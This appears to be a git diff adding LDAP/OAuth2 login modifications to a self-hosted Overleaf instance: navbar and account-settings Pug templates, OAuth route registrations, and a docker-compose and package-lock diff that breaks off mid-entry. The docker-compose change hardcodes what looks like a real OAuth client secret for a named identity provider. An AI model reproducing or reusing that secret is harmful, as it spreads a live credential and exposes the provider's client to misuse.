a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/navbar.pug b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/navbar.pug new file mode 100644 index 0000000..f391630 --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/navbar.pug @@ -0,0 +1,84 @@ +nav.navbar.navbar-default.navbar-main + .container-fluid + .navbar-header + button.navbar-toggle(ng-init="navCollapsed = true", ng-click="navCollapsed = !navCollapsed", ng-class="{active: !navCollapsed}", aria-label="Toggle " + translate('navigation')) + i.fa.fa-bars(aria-hidden="true") + if settings.nav.custom_logo + a(href='/', aria-label=settings.appName, style='background-image:url("'+settings.nav.custom_logo+'")').navbar-brand + else if (nav.title) + a(href='/', aria-label=settings.appName, ng-non-bindable).navbar-title #{nav.title} + else + a(href='/', aria-label=settings.appName).navbar-brand + + .navbar-collapse.collapse(collapse="navCollapsed") + + ul.nav.navbar-nav.navbar-right + if (getSessionUser() && getSessionUser().isAdmin) + li + a(href="/admin") Admin + + + // loop over header_extras + each item in nav.header_extras + - + if ((item.only_when_logged_in && getSessionUser()) + || (item.only_when_logged_out && (!getSessionUser())) + || (!item.only_when_logged_out && !item.only_when_logged_in && !item.only_content_pages) + || (item.only_content_pages && (typeof(suppressNavContentLinks) == "undefined" || !suppressNavContentLinks)) + ){ + var showNavItem = true + } else { + var showNavItem = false + } + + if showNavItem + if item.dropdown + li.dropdown(class=item.class, dropdown) + a.dropdown-toggle(href, dropdown-toggle) + | !{translate(item.text)} + b.caret + ul.dropdown-menu + each child in item.dropdown + if child.divider + li.divider + else + li + if child.url + a(href=child.url, class=child.class) !{translate(child.text)} + else + | !{translate(child.text)} + else + li(class=item.class) + if item.url + a(href=item.url, class=item.class) !{translate(item.text)} + else + | !{translate(item.text)} + + // logged out + if !getSessionUser() + // login link + li + a(href="/login") #{translate('log_in')} + + // projects link and account menu + if getSessionUser() + li + a(href="/project") #{translate('Projects')} + li.dropdown(dropdown) + a.dropdown-toggle(href, dropdown-toggle) + | #{translate('Account')} + b.caret + ul.dropdown-menu + //li + // div.subdued(ng-non-bindable) #{getUserEmail()} + //li.divider.hidden-xs.hidden-sm + li + a(href="/user/settings") #{translate('Account Settings')} + if nav.showSubscriptionLink + li + a(href="/user/subscription") #{translate('subscription')} + li.divider.hidden-xs.hidden-sm + li + form(method="POST" action="/logout") + input(name='_csrf', type='hidden', value=csrfToken) + button.btn-link.text-left.dropdown-menu-button #{translate('log_out')} diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/router-append.js b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/router-append.js new file mode 100644 index 0000000..68e1c49 --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/router-append.js @@ -0,0 +1,6 @@ + webRouter.get('/oauth/redirect', AuthenticationController.oauth2Redirect) + webRouter.get('/oauth/callback', AuthenticationController.oauth2Callback) + AuthenticationController.addEndpointToLoginWhitelist('/oauth/redirect') + AuthenticationController.addEndpointToLoginWhitelist('/oauth/callback') + webRouter.get('*', ErrorController.notFound) +} diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/settings.diff b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/settings.diff new file mode 100644 index 0000000..0f697b9 --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/settings.diff @@ -0,0 +1,200 @@ +2a3,9 +> block append meta +> meta(name="ol-reconfirmationRemoveEmail", content=reconfirmationRemoveEmail) +> meta(name="ol-reconfirmedViaSAML", content=reconfirmedViaSAML) +> meta(name="ol-passwordStrengthOptions", data-type="json", content=settings.passwordStrengthOptions || {}) +> meta(name="ol-oauthProviders", data-type="json", content=oauthProviders) +> meta(name="ol-thirdPartyIds", data-type="json", content=thirdPartyIds) +> +4c11,15 +< .content.content-alt +--- +> main.content.content-alt#main-content( +> event-tracking-mb="true" +> event-tracking="settings-view" +> event-tracking-trigger="load" +> ) +25,31c36,57 +< // show the email, non-editable +< .form-group +< label.control-label #{translate("email")} +< div.form-control( +< readonly="true", +< ng-non-bindable +< ) #{user.email} +--- +> if !externalAuthenticationSystemUsed() +> .form-group +> label(for='email') #{translate("email")} +> input.form-control( +> id="email" +> type='email', +> name='email', +> placeholder="email@example.com" +> required, +> ng-model="email", +> ng-model-options="{ updateOn: 'blur' }" +> ) +> span.small.text-danger(ng-show="settingsForm.email.$invalid && settingsForm.email.$dirty") +> | #{translate("must_be_email_address")} +> else +> // show the email, non-editable +> .form-group +> label.control-label #{translate("email")} +> div.form-control( +> readonly="true", +> ng-non-bindable +> ) #{user.email} +76,81c102,164 +< h3 +< | Set Password for Email login +< p +< | Note: you can not change the LDAP password from here. You can set/reset a password for +< | your email login: +< | #[a(href="/user/password/reset", target='_blank') Reset.] +--- +> h3 #{translate("change_password")} +> if externalAuthenticationSystemUsed() && !settings.overleaf +> p +> | Password settings are managed externally +> else if !hasPassword +> p +> | #[a(href="/user/password/reset", target='_blank') #{translate("no_existing_password")}] +> else +> - var submitAction +> - submitAction = '/user/password/update' +> form( +> async-form="changepassword" +> name="changePasswordForm" +> action=submitAction +> method="POST" +> novalidate +> ) +> input(type="hidden", name="_csrf", value=csrfToken) +> .form-group +> label(for='currentPassword') #{translate("current_password")} +> input.form-control( +> id="currentPassword" +> type='password', +> name='currentPassword', +> placeholder='*********', +> ng-model="currentPassword", +> required +> ) +> span.small.text-danger(ng-show="changePasswordForm.currentPassword.$invalid && changePasswordForm.currentPassword.$dirty" aria-live="polite") +> | #{translate("required")} +> .form-group +> label(for='passwordField') #{translate("new_password")} +> input.form-control( +> id='passwordField', +> type='password', +> name='newPassword1', +> placeholder='*********', +> ng-model="newPassword1", +> required, +> complex-password +> ) +> span.small.text-danger(ng-show="changePasswordForm.newPassword1.$error.complexPassword && changePasswordForm.newPassword1.$dirty", ng-bind-html="complexPasswordErrorMessage" aria-live="polite") +> .form-group +> label(for='newPassword2') #{translate("confirm_new_password")} +> input.form-control( +> id="newPassword2" +> type='password', +> name='newPassword2', +> placeholder='*********', +> ng-model="newPassword2", +> equals="passwordField" +> ) +> span.small.text-danger(ng-show="changePasswordForm.newPassword2.$error.areEqual && changePasswordForm.newPassword2.$dirty" aria-live="polite") +> | #{translate("doesnt_match")} +> span.small.text-danger(ng-show="!changePasswordForm.newPassword2.$error.areEqual && changePasswordForm.newPassword2.$invalid && changePasswordForm.newPassword2.$dirty" aria-live="polite") +> | #{translate("invalid_password")} +> .form-group +> form-messages(aria-live="polite" for="changePasswordForm") +> .actions +> button.btn.btn-primary( +> type='submit', +> ng-disabled="changePasswordForm.$invalid" +> ) #{translate("change")} +85a169,181 +> if hasFeature('saas') +> h3 +> | #{translate("sharelatex_beta_program")} +> +> if (user.betaProgram) +> p.small +> | #{translate("beta_program_already_participating")} +> +> div +> a(id="beta-program-participate-link" href="/beta/participate") #{translate("manage_beta_program_membership")} +> +> hr +> +87,92c183,186 +< | Contact +< div +< | If you need any help, please contact your sysadmins. +< +< p #{translate("need_to_leave")} +< a(href, ng-click="deleteAccount()") #{translate("delete_your_account")} +--- +> | #{translate("sessions")} +> +> div +> a(id="sessions-link", href="/user/sessions") #{translate("manage_sessions")} +93a188,218 +> if hasFeature('oauth') +> hr +> include settings/user-oauth +> +> if hasFeature('saas') && (!externalAuthenticationSystemUsed() || (settings.createV1AccountOnLogin && settings.overleaf)) +> hr +> p.small +> | #{translate("newsletter_info_and_unsubscribe")} +> a( +> href, +> ng-click="unsubscribe()", +> ng-show="subscribed && !unsubscribing" +> ) #{translate("unsubscribe")} +> span( +> ng-show="unsubscribing" +> ) +> i.fa.fa-spin.fa-refresh(aria-hidden="true") +> | #{translate("unsubscribing")} +> span.text-success( +> ng-show="!subscribed" +> ) +> i.fa.fa-check(aria-hidden="true") +> | #{translate("unsubscribed")} +> +> if !settings.overleaf && user.overleaf +> p +> | Please note: If you have linked your account with Overleaf +> | v2, then deleting your ShareLaTeX account will also delete +> | account and all of it's associated projects and data. +> p #{translate("need_to_leave")} +> a(href, ng-click="deleteAccount()") #{translate("delete_your_account")} +100c225 +< p !{translate("delete_account_warning_message_3")} +--- +> p !{translate("delete_account_warning_message_3", {}, ['strong'])} +136,143d260 +< ng-model="state.confirmV1Purge" +< ng-change="checkValidation()" +< ).pull-left +< label(style="display: inline") I have left, purged or imported my projects on Overleaf v1 (if any) +< +< div.confirmation-checkbox-wrapper +< input( +< type="checkbox" +147c264 +< label(style="display: inline") I understand this will delete all projects in my Overleaf v2 account (and ShareLaTeX account, if any) with email address #[em {{ userDefaultEmail }}] +--- +> label(style="display: inline") I understand this will delete all projects in my Overleaf account with email address #[em {{ userDefaultEmail }}] +175,178c292 +< span(ng-show="state.inflight") #{translate("deleting")}... +< +< script(type='text/javascript'). +< window.passwordStrengthOptions = !{StringHelper.stringifyJsonForScript(settings.passwordStrengthOptions || {})} +--- +> span(ng-show="state.inflight") #{translate("deleting")}… diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/settings.pug b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/settings.pug new file mode 100644 index 0000000..8cdd18c --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/settings.pug @@ -0,0 +1,178 @@ +extends ../layout + +block content + .content.content-alt + .container + .row + .col-md-12.col-lg-10.col-lg-offset-1 + if ssoError + .alert.alert-danger + | #{translate('sso_link_error')}: #{translate(ssoError)} + .card + .page-header + h1 #{translate("account_settings")} + .account-settings(ng-controller="AccountSettingsController", ng-cloak) + + if hasFeature('affiliations') + include settings/user-affiliations + + .row + .col-md-5 + h3 #{translate("update_account_info")} + form(async-form="settings", name="settingsForm", method="POST", action="/user/settings", novalidate) + input(type="hidden", name="_csrf", value=csrfToken) + if !hasFeature('affiliations') + // show the email, non-editable + .form-group + label.control-label #{translate("email")} + div.form-control( + readonly="true", + ng-non-bindable + ) #{user.email} + + if shouldAllowEditingDetails + .form-group + label(for='firstName').control-label #{translate("first_name")} + input.form-control( + id="firstName" + type='text', + name='first_name', + value=user.first_name + ng-non-bindable + ) + .form-group + label(for='lastName').control-label #{translate("last_name")} + input.form-control( + id="lastName" + type='text', + name='last_name', + value=user.last_name + ng-non-bindable + ) + .form-group + form-messages(aria-live="polite" for="settingsForm") + .alert.alert-success(ng-show="settingsForm.response.success") + | #{translate("thanks_settings_updated")} + .actions + button.btn.btn-primary( + type='submit', + ng-disabled="settingsForm.$invalid" + ) #{translate("update")} + else + .form-group + label.control-label #{translate("first_name")} + div.form-control( + readonly="true", + ng-non-bindable + ) #{user.first_name} + .form-group + label.control-label #{translate("last_name")} + div.form-control( + readonly="true", + ng-non-bindable + ) #{user.last_name} + + .col-md-5.col-md-offset-1 + h3 + | Set Password for Email login + p + | Note: you can not change the LDAP password from here. You can set/reset a password for + | your email login: + | #[a(href="/user/password/reset", target='_blank') Reset.] + + | !{moduleIncludes("userSettings", locals)} + hr + + h3 + | Contact + div + | If you need any help, please contact your sysadmins. + + p #{translate("need_to_leave")} + a(href, ng-click="deleteAccount()") #{translate("delete_your_account")} + + + + script(type='text/ng-template', id='deleteAccountModalTemplate') + .modal-header + h3 #{translate("delete_account")} + div.modal-body#delete-account-modal + p !{translate("delete_account_warning_message_3")} + if settings.createV1AccountOnLogin && settings.overleaf + p + strong + | Your Overleaf v2 projects will be deleted if you delete your account. + | If you want to remove any remaining Overleaf v1 projects in your account, + | please first make sure they are imported to Overleaf v2. + + if settings.overleaf && !hasPassword + p + b + | #[a(href="/user/password/reset", target='_blank') #{translate("delete_acct_no_existing_pw")}]. + else + form(novalidate, name="deleteAccountForm") + label #{translate('email')} + input.form-control( + type="text", + autocomplete="off", + placeholder="", + ng-model="state.deleteText", + focus-on="open", + ng-keyup="checkValidation()" + ) + + label #{translate('password')} + input.form-control( + type="password", + autocomplete="off", + placeholder="", + ng-model="state.password", + ng-keyup="checkValidation()" + ) + + div.confirmation-checkbox-wrapper + input( + type="checkbox" + ng-model="state.confirmV1Purge" + ng-change="checkValidation()" + ).pull-left + label(style="display: inline") I have left, purged or imported my projects on Overleaf v1 (if any) + + div.confirmation-checkbox-wrapper + input( + type="checkbox" + ng-model="state.confirmSharelatexDelete" + ng-change="checkValidation()" + ).pull-left + label(style="display: inline") I understand this will delete all projects in my Overleaf v2 account (and ShareLaTeX account, if any) with email address #[em {{ userDefaultEmail }}] + + div(ng-if="state.error") + div.alert.alert-danger(ng-switch="state.error.code") + span(ng-switch-when="InvalidCredentialsError") + | #{translate('email_or_password_wrong_try_again')} + span(ng-switch-when="SubscriptionAdminDeletionError") + | #{translate('subscription_admins_cannot_be_deleted')} + span(ng-switch-when="UserDeletionError") + | #{translate('user_deletion_error')} + span(ng-switch-default) + | #{translate('generic_something_went_wrong')} + if settings.createV1AccountOnLogin && settings.overleaf + div(ng-if="state.error && state.error.code == 'InvalidCredentialsError'") + div.alert.alert-info + | If you can't remember your password, or if you are using Single-Sign-On with another provider + | to sign in (such as Twitter or Google), please + | #[a(href="/user/password/reset", target='_blank') reset your password], + | and try again. + .modal-footer + button.btn.btn-default( + ng-click="cancel()" + ) #{translate("cancel")} + button.btn.btn-danger( + ng-disabled="!state.isValid || state.inflight" + ng-click="delete()" + ) + span(ng-hide="state.inflight") #{translate("delete")} + span(ng-show="state.inflight") #{translate("deleting")}... + + script(type='text/javascript'). + window.passwordStrengthOptions = !{StringHelper.stringifyJsonForScript(settings.passwordStrengthOptions || {})} diff --git a/overleaf-mods/overleaf-ldap-oauth2/renovate.json b/overleaf-mods/overleaf-ldap-oauth2/renovate.json new file mode 100644 index 0000000..39a2b6e --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/renovate.json @@ -0,0 +1,6 @@ +{ + "$schema": "https://docs.renovatebot.com/renovate-schema.json", + "extends": [ + "config:base" + ] +} diff --git a/overleaf-mods/overleaf.diff b/overleaf-mods/overleaf.diff new file mode 100644 index 0000000..74abee7 --- /dev/null +++ b/overleaf-mods/overleaf.diff @@ -0,0 +1,26195 @@ +diff --git a/docker-compose.yml b/docker-compose.yml +index bb00dc53c..28a4480ea 100644 +--- a/docker-compose.yml ++++ b/docker-compose.yml +@@ -17,14 +17,19 @@ services: + - mongo + - redis + volumes: +- - ~/sharelatex_data:/var/lib/sharelatex ++ - sharelatex_data:/var/lib/sharelatex ++ # - /home/mal/code/overleaf/services/web/:/overleaf/services/web/ + ######################################################################## + #### Server Pro: Uncomment the following line to mount the docker #### + #### socket, required for Sibling Containers to work #### + ######################################################################## + # - /var/run/docker.sock:/var/run/docker.sock + environment: +- ++ OAUTH_AUTH_URL: https://id.tardisproject.uk/realms/master/protocol/openid-connect/auth ++ OAUTH_ACCESS_URL: https://id.tardisproject.uk/realms/master/protocol/openid-connect/token ++ OAUTH_USER_URL: https://id.tardisproject.uk/realms/master/protocol/openid-connect/userinfo ++ OAUTH_CLIENT_ID: overleaf ++ OAUTH_CLIENT_SECRET: im5vyW6NuiOSOcJjSc53HuSSLnh1DzPP + SHARELATEX_APP_NAME: Overleaf Community Edition + + SHARELATEX_MONGO_URL: mongodb://mongo/sharelatex +@@ -49,7 +54,7 @@ services: + ## Set for SSL via nginx-proxy + #VIRTUAL_HOST: 103.112.212.22 + +- # SHARELATEX_SITE_URL: http://sharelatex.mydomain.com ++ SHARELATEX_SITE_URL: http://localhost + # SHARELATEX_NAV_TITLE: Our ShareLaTeX Instance + # SHARELATEX_HEADER_IMAGE_URL: http://somewhere.com/mylogo.png + # SHARELATEX_ADMIN_EMAIL: support@it.com +@@ -108,7 +113,7 @@ services: + expose: + - 27017 + volumes: +- - ~/mongo_data:/data/db ++ - mongo_data:/data/db + healthcheck: + test: echo 'db.stats().ok' | mongo localhost:27017/test --quiet + interval: 10s +@@ -122,7 +127,7 @@ services: + expose: + - 6379 + volumes: +- - ~/redis_data:/data ++ - redis_data:/data + + # ldap: + # restart: always +@@ -145,3 +150,8 @@ services: + # volumes: + # - /var/run/docker.sock:/tmp/docker.sock:ro + # - /home/sharelatex/tmp:/etc/nginx/certs ++ ++volumes: ++ sharelatex_data: ++ mongo_data: ++ redis_data: +diff --git a/package-lock.json b/package-lock.json +index 214c7da65..53bc38365 100644 +--- a/package-lock.json ++++ b/package-lock.json +@@ -56,6 +56,7 @@ + "jobs/mirror-documentation": { + "name": "mirror_documentation", + "version": "1.0.0", ++ "extraneous": true, + "license": "ISC", + "dependencies": { + "bluebird": "^3.5.3", +@@ -67,17 +68,6 @@ + "tmp": "0.0.33" + } + }, +- "jobs/mirror-documentation/node_modules/tmp": { +- "version": "0.0.33", +- "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", +- "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", +- "dependencies": { +- "os-tmpdir": "~1.0.2" +- }, +- "engines": { +- "node": ">=0.6.0" +- } +- }, + "libraries/access-token-encryptor": { + "name": "@overleaf/access-token-encryptor", + "version": "2.2.0", +@@ -285,6 +275,7 @@ + }, + "libraries/overleaf-editor-core": { + "version": "1.0.0", ++ "extraneous": true, + "license": "Proprietary", + "dependencies": { + "@overleaf/o-error": "^3.4.0", +@@ -300,486 +291,6 @@ + "typescript": "^4.5.5" + } + }, +- "libraries/overleaf-editor-core/node_modules/ansi-colors": { +- "version": "3.2.3", +- "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.2.3.tgz", +- "integrity": "sha512-LEHHyuhlPY3TmuUYMh2oz89lTShfvgbmzaBcxve9t/9Wuy7Dwf4yoAKcND7KFT1HAQfqZ12qtc+DUrBMeKF9nw==", +- "dev": true, +- "engines": { +- "node": ">=6" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/ansi-regex": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", +- "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", +- "dev": true, +- "engines": { +- "node": ">=6" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/argparse": { +- "version": "1.0.10", +- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", +- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", +- "dev": true, +- "dependencies": { +- "sprintf-js": "~1.0.2" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/camelcase": { +- "version": "5.3.1", +- "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", +- "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", +- "dev": true, +- "engines": { +- "node": ">=6" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/chai": { +- "version": "3.5.0", +- "resolved": "https://registry.npmjs.org/chai/-/chai-3.5.0.tgz", +- "integrity": "sha1-TQJjewZ/6Vi9v906QOxW/vc3Mkc=", +- "dev": true, +- "dependencies": { +- "assertion-error": "^1.0.1", +- "deep-eql": "^0.1.3", +- "type-detect": "^1.0.0" +- }, +- "engines": { +- "node": ">= 0.4.0" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/cliui": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz", +- "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==", +- "dev": true, +- "dependencies": { +- "string-width": "^3.1.0", +- "strip-ansi": "^5.2.0", +- "wrap-ansi": "^5.1.0" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/debug": { +- "version": "3.2.6", +- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", +- "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", +- "deprecated": "Debug versions >=3.2.0 <3.2.7 || >=4 <4.3.1 have a low-severity ReDos regression when used in a Node.js environment. It is recommended you upgrade to 3.2.7 or 4.3.1. (https://github.com/visionmedia/debug/issues/797)", +- "dev": true, +- "dependencies": { +- "ms": "^2.1.1" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/deep-eql": { +- "version": "0.1.3", +- "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-0.1.3.tgz", +- "integrity": "sha1-71WKyrjeJSBs1xOQbXTlaTDrafI=", +- "dev": true, +- "dependencies": { +- "type-detect": "0.1.1" +- }, +- "engines": { +- "node": "*" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/deep-eql/node_modules/type-detect": { +- "version": "0.1.1", +- "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-0.1.1.tgz", +- "integrity": "sha1-C6XsKohWQORw6k6FBZcZANrFiCI=", +- "dev": true, +- "engines": { +- "node": "*" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/diff": { +- "version": "3.5.0", +- "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz", +- "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==", +- "dev": true, +- "engines": { +- "node": ">=0.3.1" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/emoji-regex": { +- "version": "7.0.3", +- "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", +- "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", +- "dev": true +- }, +- "libraries/overleaf-editor-core/node_modules/escape-string-regexp": { +- "version": "1.0.5", +- "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", +- "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", +- "dev": true, +- "engines": { +- "node": ">=0.8.0" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/find-up": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", +- "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", +- "dev": true, +- "dependencies": { +- "locate-path": "^3.0.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/flat": { +- "version": "4.1.1", +- "resolved": "https://registry.npmjs.org/flat/-/flat-4.1.1.tgz", +- "integrity": "sha512-FmTtBsHskrU6FJ2VxCnsDb84wu9zhmO3cUX2kGFb5tuwhfXxGciiT0oRY+cck35QmG+NmGh5eLz6lLCpWTqwpA==", +- "dev": true, +- "dependencies": { +- "is-buffer": "~2.0.3" +- }, +- "bin": { +- "flat": "cli.js" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/glob": { +- "version": "7.1.3", +- "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.3.tgz", +- "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==", +- "dev": true, +- "dependencies": { +- "fs.realpath": "^1.0.0", +- "inflight": "^1.0.4", +- "inherits": "2", +- "minimatch": "^3.0.4", +- "once": "^1.3.0", +- "path-is-absolute": "^1.0.0" +- }, +- "engines": { +- "node": "*" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/has-flag": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", +- "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", +- "dev": true, +- "engines": { +- "node": ">=4" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/is-buffer": { +- "version": "2.0.5", +- "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", +- "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", +- "dev": true, +- "funding": [ +- { +- "type": "github", +- "url": "https://github.com/sponsors/feross" +- }, +- { +- "type": "patreon", +- "url": "https://www.patreon.com/feross" +- }, +- { +- "type": "consulting", +- "url": "https://feross.org/support" +- } +- ], +- "engines": { +- "node": ">=4" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/is-fullwidth-code-point": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", +- "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", +- "dev": true, +- "engines": { +- "node": ">=4" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/js-yaml": { +- "version": "3.13.1", +- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", +- "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", +- "dev": true, +- "dependencies": { +- "argparse": "^1.0.7", +- "esprima": "^4.0.0" +- }, +- "bin": { +- "js-yaml": "bin/js-yaml.js" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/locate-path": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", +- "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", +- "dev": true, +- "dependencies": { +- "p-locate": "^3.0.0", +- "path-exists": "^3.0.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/log-symbols": { +- "version": "2.2.0", +- "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz", +- "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==", +- "dev": true, +- "dependencies": { +- "chalk": "^2.0.1" +- }, +- "engines": { +- "node": ">=4" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/minimist": { +- "version": "1.2.5", +- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", +- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==", +- "dev": true +- }, +- "libraries/overleaf-editor-core/node_modules/mkdirp": { +- "version": "0.5.4", +- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.4.tgz", +- "integrity": "sha512-iG9AK/dJLtJ0XNgTuDbSyNS3zECqDlAhnQW4CsNxBG3LQJBbHmRX1egw39DmtOdCAqY+dKXV+sgPgilNWUKMVw==", +- "deprecated": "Legacy versions of mkdirp are no longer supported. Please update to mkdirp 1.x. (Note that the API surface has changed to use Promises in 1.x.)", +- "dev": true, +- "dependencies": { +- "minimist": "^1.2.5" +- }, +- "bin": { +- "mkdirp": "bin/cmd.js" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/mocha": { +- "version": "6.2.3", +- "resolved": "https://registry.npmjs.org/mocha/-/mocha-6.2.3.tgz", +- "integrity": "sha512-0R/3FvjIGH3eEuG17ccFPk117XL2rWxatr81a57D+r/x2uTYZRbdZ4oVidEUMh2W2TJDa7MdAb12Lm2/qrKajg==", +- "dev": true, +- "dependencies": { +- "ansi-colors": "3.2.3", +- "browser-stdout": "1.3.1", +- "debug": "3.2.6", +- "diff": "3.5.0", +- "escape-string-regexp": "1.0.5", +- "find-up": "3.0.0", +- "glob": "7.1.3", +- "growl": "1.10.5", +- "he": "1.2.0", +- "js-yaml": "3.13.1", +- "log-symbols": "2.2.0", +- "minimatch": "3.0.4", +- "mkdirp": "0.5.4", +- "ms": "2.1.1", +- "node-environment-flags": "1.0.5", +- "object.assign": "4.1.0", +- "strip-json-comments": "2.0.1", +- "supports-color": "6.0.0", +- "which": "1.3.1", +- "wide-align": "1.1.3", +- "yargs": "13.3.2", +- "yargs-parser": "13.1.2", +- "yargs-unparser": "1.6.0" +- }, +- "bin": { +- "_mocha": "bin/_mocha", +- "mocha": "bin/mocha" +- }, +- "engines": { +- "node": ">= 6.0.0" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/ms": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", +- "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", +- "dev": true +- }, +- "libraries/overleaf-editor-core/node_modules/object.assign": { +- "version": "4.1.0", +- "resolved": 